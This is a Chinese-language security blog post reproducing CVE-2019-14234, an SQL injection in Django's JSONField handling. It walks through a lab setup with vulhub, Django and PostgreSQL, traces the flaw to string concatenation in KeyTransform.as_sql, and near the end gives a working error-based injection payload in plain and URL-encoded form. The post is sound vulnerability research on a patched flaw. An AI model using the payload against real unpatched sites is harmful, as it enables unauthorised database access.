Django JSONField/HstoreField SQL注入(CVE-2019-14234)

Mi0发布

在逛p神的小密圈的时候发现一篇关于Django的sql注入问题,于是尝试着复现一波

受影响版本:

Django 2.2.x < 2.2.4

Django 2.1.x < 2.1.11

Django 1.11x < 1.11.23

官方公告:https://www.djangoproject.com/weblog/2019/aug/01/security-releases/

环境准备

vulhub上面已经有相应的docker镜像了

https://github.com/vulhub/vulhub/tree/7ed1b98faa901a3bcbb756935cf69e13e0d87460/django/CVE-2019-14234

把整个vulhub项目可以下载下来

git clone https://github.com/vulhub/vulhub.git
cd vulhub/django/CVE-2019-14234/

docker-compose build
docker-compose up -d

之后可以看下项目的README.md,就可以验证漏洞的存在性了

当然在docker里面啥不好看代码,也可以本地直接搭Django服务

Django本地搭建

在IDEA中创建个Django项目,打开已安装的包,发现Django版本已经是2.4,没有该漏洞了,于是修改一下,这里因为python2 是不支持Django,2.x版本的,所以这里用的python3,其实IDEA中venv很好配置

1564899158745

这张图是在第一次在python2下安装2.3失败时截断(凑合着用)

1565149991558

Postgresql安装

首先下载

apt-get install postgresql

之后会在系统下自动生成一个postgersql的账号

1565075783146

postgersql账号是用来登录连接数据库的,因为postgersql是没法用root来连接的

postgersql开放端口在5432

切换账号,进入数据库

su postgres
psql

1565076149100

设置下密码,有2种方法

方法1
alter user postgres with password 'postgres';     //密码改为postgres

方法2
/password postgres
Enter new password: xxx                             //这会是提示
Enter it again: xxx

创建库

create database djangosql;
\c djangodb;                //相当于mysql的 use djangodb

创建表,要加_,我直接用user当库名报错

create table t_user(id integer, score jsonb);

添加数据

insert into t_user values (1,'{"username":"sijidou","age":90}'::jsonb);
insert into t_user values (2,'{"username":"siji","age":45}'::jsonb);

1565156762575

其他语法和mysql大差不差的,postersql还可以加json数据

\l          //查库
\dt         //查表
\q          //退出

配置

之后的流程是创建 startapp

python manager.py startapp SqliTest

1565157274025

编写下SqliTest\models.py,并创建类中中有支持json的类型

from django.db import models
from django.contrib.postgres.fields import JSONField

# Create your models here.

class test(models.Model):
    name = models.CharField(max_length=255)
    text = JSONField()

    def __str__(self):
        return self.name

修改下Setting.py

1565158900398

1565157957675

迁移数据库

python manage.py migrate

python manage.py makemigrations

1565158928409

导入数据库

python manage.py loaddata test.json

这里导入的我使用的是vulhub上改的测试数据,注意下model要对应 app/models.py中的类, fields域中的键要和数据库的字段名相同

[
    {
      "model": "DjangoSql.test",
      "pk": 1,
      "fields": {
        "name": "a1",
        "text": {
            "title": "title 1",
            "author": "vulhub",
            "tags": ["python", "django"],
            "content": "..."
        }
      }
    },
    {
      "model": "DjangoSql.test",
      "pk": 2,
      "fields": {
        "name": "a2",
        "text": {
            "title": "title 2",
            "author": "vulhub",
            "tags": ["python"],
            "content": "..."
        }
      }
    }
  ]

数据就成功的进来了

1565159625647

预备知识

python中的Django框架也好flask框架也罢,都会推荐使用Postgresql数据库,一般连接会用这3个函数JSONFieldArrayFieldHStoreField来处理json数据的连接

这里跟进下JSONField()来看

1565162404980

在使用filter()过滤查询的时候会触发到get_transform(),如果不满足父类Field()get_transform(),则会调用KeyTransformFactory()

至于为什么数据库查询语句的filter()会触发get_transform(),在官方文档被拿来举了个例子

1565162768073

那么为什么不满足,这里盗用下p神的理解

在JSONField中,lookup实际上是没有变的,但是transform从“在外键表中查找”,变成了“在JSON对象中查找”,所以自然需要重写get_transform函数。

继续跟进KeyTransformFactory()这个工厂类,可以看到被__call__的时候返回了KeyTransform()

1565162971276

继续查看,KeyTransform()里面的as_sql()方法,也就是要查询数据库的方法

最主要的部分在最后返回值的时候把lookup和前面内容直接进行了拼接,这也是漏洞形式原因

1565163102145

漏洞利用

先启动admin后台管理(后台管理主要功能可以管理数据库的),把我们有json数据的数据添加注册一下

from django.contrib import admin

from .models import test

# Register your models here.
admin.site.register(test)

看看正常的查询语句,它是根据text字段的title键的内容进行查找的(这里有2个_)

1565164955231

debug跟踪下流程

首先进入get_transform()中的KeyTransformFactory()

1565165049051

接下来按照预期进入了KeyTransform()中,之后继续进入

1565165217622

接下来就进入了as_sql()的函数中

1565165282675

上面的逻辑变化暂时不要管(咱也没接触过这么复杂的框架),运行到最下面的时候,来看看几个参数的值

1565165643077

1565165672444

1565165683597

1565165700407

1565165717619

params,不用管这里是将lhs,lookup,params进行拼接,先把他们的写在一起,在前一步,把他们赋值到tmp中可以看到tmp的结果

1565167035648

大致就是这样的

filter("DjangoSql_test.text->title")

再一步可能就是这样

select * from DjangoSql_text where (DjangoSql_text.text->>'title') = xxx

这里的'title'中加入',就能造成sql注入,在这里是被转义了的。但是之后的操作会去掉\,(不然postersql的语句不正确)

1565169150003

发送过去,sql语句报错了

1565169232823

尝试利用下

text__title' = '"a"') and 7778=CAST((SELECT version())::text AS NUMERIC)--

//编码下特殊的字符
text__title%27+%3d+%27%22a%22%27)%20and%207778%3dCAST((SELECT%20version())::text%20AS%20NUMERIC)--

成功返回版本

1565169758509

参考链接

https://www.tuicool.com/articles/ymyU7zF

https://www.leavesongs.com/PENETRATION/django-jsonfield-cve-2019-14234.html

https://segmentfault.com/a/1190000003692997

https://docs.djangoproject.com/zh-hans/2.2/

分类: web安全

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注